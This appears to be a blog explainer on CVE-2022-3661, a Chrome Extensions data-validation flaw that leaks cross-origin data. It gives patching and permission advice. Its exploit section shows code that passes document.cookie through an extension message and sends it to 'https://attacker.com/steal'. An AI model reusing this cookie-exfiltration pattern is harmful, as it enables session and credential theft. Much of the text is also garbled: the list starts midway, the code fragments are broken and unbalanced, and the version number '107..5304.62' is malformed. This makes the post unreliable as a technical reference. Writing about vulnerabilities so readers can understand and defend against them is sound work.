---
Google Chrome is one of the most widely used web browsers, with millions depending on its security features to browse the internet safely. However, like any large piece of software, Chrome is not without flaws. One such weakness, CVE-2022-3661, was uncovered when a problem with Chrome Extensions' data validation was discovered. Before Chrome version 107..5304.62, a remote attacker—someone who already had compromised the renderer process—could abuse well-crafted Chrome Extensions to leak sensitive cross-origin data.
This deep-dive post will explain CVE-2022-3661 in plain English: what went wrong, how attackers could exploit it, and what you can do to stay safe.
What Is CVE-2022-3661?
Summary:
CVE-2022-3661 is a security bug in the way Chrome Extensions handled data validation. Chrome is designed to isolate sites from each other—a concept called "same-origin policy"—which blocks scripts on one site from peeking into data on another. But with this vulnerability, if an attacker could control a Chrome Extension (and the renderer process), they could sneakily access cross-origin data, breaking this critical security barrier.
References:
- Chromium Issue 1353799
- Chrome Release Notes
Compromise the renderer process—possibly via another bug or with user's help.
3. Abuse the insufficient data validation to send or access data from websites the extension *shouldn’t* be able to touch.
While it's not a "remote code execution" bug, it's still powerful: Cross-origin data can include things like authentication tokens, personal sessions, or sensitive account information.
Digging Deeper: How the Vulnerability Works
Chrome Extensions run with special permissions, called "extension APIs." Some extensions can ask for access to pages you visit or intercept web requests.
To keep things safe, extensions can't just grab information from other sites—unless you, the user, permit it. However, due to insufficient data checks, an attacker—once in the renderer process—could use a carefully-crafted extension to leak information from one origin (like your online bank) to another (under their control).
Where Chrome Failed:
Chrome needed to do a better job validating *which* sites and data extensions could access. This check was too weak, making it possible for bad actors in the renderer to bend the rules.
Example Exploit Scenario
> DISCLAIMER: Do not use or share malicious code. The following is for educational purposes only.
Let's say Alice installs an extension called "Cool Wallpapers." Unknown to Alice, the extension has a security bug. Meanwhile, the attacker manages to break out into the renderer process using another vulnerability.
function(request, sender, sendResponse) {
// Intentionally unsafe: passing message data from any site
}
);
`
In this example, request.data could be anything—coming from web pages, even from different origins.
The attacker, controlling a web page’s context, sends a message from their page
chrome.runtime.sendMessage(extensionId, {data: document.cookie}, function(response) {
// Cross-origin cookies from victim site are delivered here
fetch('https://attacker.com/steal', {
Stealing Cross-Origin Data:
Because the extension failed to validate the data's origin or content, and Chrome didn't block it correctly, cookies or other info from a victim domain get sent to the attacker.
Supporting References
- CVE-2022-3661 at NVD
- Original Chromium Bug Tracker Entry
- Chrome Stable Channel Release for Version 107..5304.62
How Was It Fixed?
The Chrome security team patched this by tightening the way extensions validate and isolate data. Now, extensions must follow stricter checks and cannot pass data between origins without explicit permission and validation.
Update to stay safe:
If you’re using Chrome, simply keeping it up to date (beyond version 107..5304.62) protects you from this and many other issues. Chrome auto-updates for most users.
Review extension permissions:
If an extension asks to “read and change all your data on the websites you visit,” think carefully before approving.
Conclusion
CVE-2022-3661 shows that even with tough security principles like the same-origin policy, mistakes in data validation can open cracks hackers can slip through. Chrome’s quick patch helped close the door, but safe browsing means staying alert and up to date. Always check your extensions, and never underestimate “low severity” bugs—they can sometimes pack a punch when chained together.
Timeline
Published on: 11/01/2022 23:15:00 UTC
Last modified on: 12/08/2022 21:57:00 UTC